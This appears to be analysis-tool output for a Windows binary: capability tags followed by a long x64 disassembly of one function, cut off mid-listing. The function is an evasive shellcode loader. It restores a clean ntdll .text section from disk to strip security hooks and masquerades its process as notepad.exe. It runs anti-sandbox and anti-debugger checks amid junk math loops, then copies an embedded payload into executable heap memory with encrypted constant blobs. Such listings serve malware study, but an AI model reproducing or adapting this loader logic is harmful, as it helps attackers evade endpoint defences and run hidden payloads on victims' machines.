Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x888
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7f0], xmm6
mov dword [rbp + 0x830], ecx
mov qword [rbp + 0x838], rdx
call fcn.140002c80
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x768], rax
mov ecx, 0x15a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
mov ecx, 0x15a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov ecx, 0x15a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov dword [rbp + 0x7ec], 0
jmp 0x1400015d6
mov dword [rbp + 0x7e8], 0
jmp 0x1400015c2
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ec]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x760]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ec]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x758]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x20
jle 0x140001501
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x29
jle 0x1400014f2
mov dword [rbp + 0x7ec], 0
jmp 0x1400016b3
mov dword [rbp + 0x7e8], 0
jmp 0x14000169f
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x760]
add rdx, rax
mov eax, dword [rbp + 0x7e8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x758]
add rdx, rax
mov eax, dword [rbp + 0x7e8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x750]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x20
jle 0x140001601
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x29
jle 0x1400015f2
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x748], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7e0], rax
cmp qword [rbp + 0x7e0], 0
jne 0x140001771
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7e0], rax
cmp qword [rbp + 0x7e0], 0
je 0x140001ac3
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x748]
mov r10, qword [rbp + 0x7e0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x740], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x7dc], 0xffffffff
mov ecx, 0x1120
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
add dword [rbp + 0x7dc], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065d8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
movsd xmm1, qword [0x1400065e0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7dc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x728]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7dc], 0x222
jle 0x140001858
mov rax, qword [rbp + 0x730]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x740]
add rax, rdx
mov qword [rbp + 0x710], rax
mov word [rbp + 0x7da], 0
jmp 0x140001aab
mov rax, qword [rbp + 0x710]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x710]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7da]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a9a
mov dword [rbp + 0x588], 0
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x720]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x588]
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x708]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x740]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7da]
add eax, 1
mov word [rbp + 0x7da], ax
mov rax, qword [rbp + 0x710]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7da], ax
jb 0x14000196f
mov ecx, 0x2af8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov dword [rbp + 0x7d4], 0
mov dword [rbp + 0x6fc], 1
mov dword [rbp + 0x7d0], 0
jmp 0x140001b7d
mov dword [rbp + 0x7cc], 0
jmp 0x140001b6d
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7d0]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
lea rcx, [rax*4]
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x700]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7cc]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x31
jle 0x140001b03
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x36
jle 0x140001af7
mov dword [rbp + 0x7d0], 0
jmp 0x140001bfe
mov dword [rbp + 0x7cc], 0
jmp 0x140001bee
mov eax, dword [rbp + 0x7d0]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
lea rdx, [rax*4]
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x700]
add rdx, rax
mov eax, dword [rbp + 0x7cc]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001be7
add dword [rbp + 0x7d4], 1
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x31
jle 0x140001ba2
add dword [rbp + 0x7d0], 1
cmp dword [rbp + 0x7d0], 0x36
jle 0x140001b96
cmp dword [rbp + 0x7d4], 0x55f
je 0x140001c1d
mov dword [rbp + 0x6fc], 0
mov rax, qword [rbp + 0x700]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x1070
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x7c8], 0
jmp 0x140001c97
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065d8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
movsd xmm1, qword [0x1400065e0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x20d
jle 0x140001c49
mov dword [rbp + 0x7c8], 0
jmp 0x140001d01
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7c8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7c8], 1
cmp dword [rbp + 0x7c8], 0x20d
jle 0x140001caf
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x770]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6e0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x7c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
je 0x140001e31
mov rax, qword [rbp + 0x6d8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6d0]
mov r9d, 0x3000
mov r8d, 0x33f
mov edx, 0
call rax
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
je 0x140002bb1
mov ecx, 0x602
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x602
jne 0x140002bb1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0x540
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x540
jne 0x140002bb1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x6cc], 0x23f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
call rax
mov dword [rbp + 0x6b4], eax
mov eax, dword [rbp + 0x6cc]
mov r8, qword [rbp + 0x6c0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6b8]
call rax
mov dword [rbp + 0x6b0], eax
mov eax, dword [rbp + 0x6b0]
sub eax, dword [rbp + 0x6b4]
cmp eax, 0x20d
jbe 0x140002bb1
mov dword [rbp + 0x584], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x584]
mov r8, qword [rbp + 0x6a8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x584]
cmp eax, 1
je 0x140002bb1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
je 0x140002021
mov rax, qword [rbp + 0x6a0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov ecx, 0
call rax
mov dword [rbp + 0x7bc], eax
cmp dword [rbp + 0x7bc], 0xffffffff
je 0x140002bb1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
jne 0x140002bb1
mov dword [rbp + 0x684], 0x1f8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x674], eax
mov eax, dword [rbp + 0x684]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x670], eax
mov eax, dword [rbp + 0x670]
sub eax, dword [rbp + 0x674]
cmp eax, 0x1c6
jbe 0x140002bb1
mov dword [rbp + 0x580], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x580]
mov r8, qword [rbp + 0x668]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x580]
cmp eax, 1
je 0x140002bb1
mov qword [rbp + 0x7b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x140002207
mov rax, qword [rbp + 0x660]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x658]
mov r9d, 0x3000
mov r8d, 0x472
mov edx, 0
call rax
mov qword [rbp + 0x7b0], rax
cmp qword [rbp + 0x7b0], 0
je 0x140002bb1
lea rax, [rbp + 0xe0]
lea rdx, [0x140006140]
mov ecx, 0x92
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x768]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov ecx, 0x1798
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov ecx, 0x1798
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x7ac], 0
jmp 0x140002319
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x648]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x2f2
jle 0x14000228f
mov dword [rbp + 0x7ac], 0
jmp 0x140002387
mov eax, dword [rbp + 0x7ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7ac]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x640]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003e80
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7ac], 1
cmp dword [rbp + 0x7ac], 0x2f2
jle 0x140002335
mov rax, qword [rbp + 0x768]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x650]
mov r8d, 0
mov edx, 0x491
mov ecx, 0x40000
call rax
mov qword [rbp + 0x630], rax
mov ecx, 0xec8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7a8], 0
jmp 0x14000247d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x7a8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x3b1
jle 0x1400023f4
mov dword [rbp + 0x7a8], 0
jmp 0x1400025a9
mov dword [rbp + 0x5dc], 0
jmp 0x14000258b
mov eax, dword [rbp + 0x7a8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x5dc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140002584
mov eax, dword [rbp + 0x5dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x5d8], xmm0
mov eax, dword [rbp + 0x7a8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x5dc]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x5dc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x628]
add rax, rdx
movss xmm0, dword [rbp + 0x5d8]
movss dword [rax], xmm0
add dword [rbp + 0x7a8], 1
mov eax, 0x3b1
sub eax, dword [rbp + 0x7a8]
cmp dword [rbp + 0x5dc], eax
jl 0x1400024ab
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x3b1
jle 0x14000249c
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov r9, qword [rbp + 0x638]
mov r8d, 0x491
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov ecx, 0xa40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov ecx, 0xa40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x7a4], 0
jmp 0x1400026ca
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x147
jle 0x140002640
mov dword [rbp + 0x7a4], 0
jmp 0x140002738
mov eax, dword [rbp + 0x7a4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7a4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x608]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003e80
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x147
jle 0x1400026e6
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x620]
mov r9, qword [rbp + 0x618]
mov r8d, 0x491
mov rcx, rax
call r9
mov dword [rbp + 0x79c], 0
mov dword [rbp + 0x798], 0
movabs rax, 0x66a06f27aa6e8cce
movabs rdx, 0xf00c4c863b702d29
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x9139502fd48be35c
movabs rdx, 0x8a2f058b769f3981
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x33fc1e29023bee73
movabs rdx, 0xa2951a3d4a9416a1
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x9dc500b71660ab71
movabs rdx, 0x83c30b4c7e3aa7a5
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xd430d13c54eb74cd
movabs rdx, 0x8c81f0b27f059bb8
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xee0ed6b478edaec5
movabs rdx, 0xeb32887882e1f172
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x6eda5d67204f443
movabs rdx, 0xbd74b4120b26e7c4
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x8a23f49d98bd74
mov qword [rbp + 0xce], rax
mov dword [rbp + 0x794], 0xffffffff
add dword [rbp + 0x794], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065d8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c70
movq rax, xmm0
mov qword [rbp + 0x600], rax
cmp dword [rbp + 0x794], 0x278
jle 0x140002876
movabs rax, 0x9f9a04840c64e653
movabs rdx, 0xd7550852b9c6de1b
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x8db1c3a4d79c67cb
movabs rdx, 0xd2ef947eeccdc018
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x67231a47696df785
movabs rdx, 0x5a0155bf57e7d864
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xf99177930f46b6ff
movabs rdx, 0x544d242f8d914b5c
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov dword [rbp + 0x4f], 0x35054
mov dword [rbp + 0x7a0], 0
jmp 0x1400029cd
mov eax, dword [rbp + 0x7a0]
cdqe
